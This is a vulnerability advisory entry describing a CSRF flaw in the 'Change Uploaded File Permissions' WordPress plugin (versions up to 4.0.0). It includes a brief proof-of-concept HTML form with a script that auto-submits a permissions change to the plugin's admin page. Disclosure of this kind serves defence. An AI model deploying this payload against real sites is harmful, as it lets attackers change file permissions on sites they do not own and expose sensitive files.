WordPress Plugin Vulnerabilities

Change Uploaded File Permissions <= 4.0.0 - File Permission Update via CSRF

Description

Due to missing checks the plugin is vulnerable to CSRF attacks. This can be used to change the file and folder permissions of any folder. This could be problematic when specific files like ini files are made readable for everyone due to this.

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=uploadedfilepermissions" method="POST">
    <input type="text" name="sk_wproot_folder" value="/www/htdocs/ttttt/example.com/wp-content/uploads">
    <input type="text" name="sk_updateroot" value="true">
</form>
<script>
    document.getElementById("test").submit();
</script>

Affects Plugins

References

Classification

Miscellaneous

Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-05-23 (about 1 years ago)
Added
2022-05-23 (about 1 years ago)
Last Updated
2023-02-17 (about 1 years ago)

Other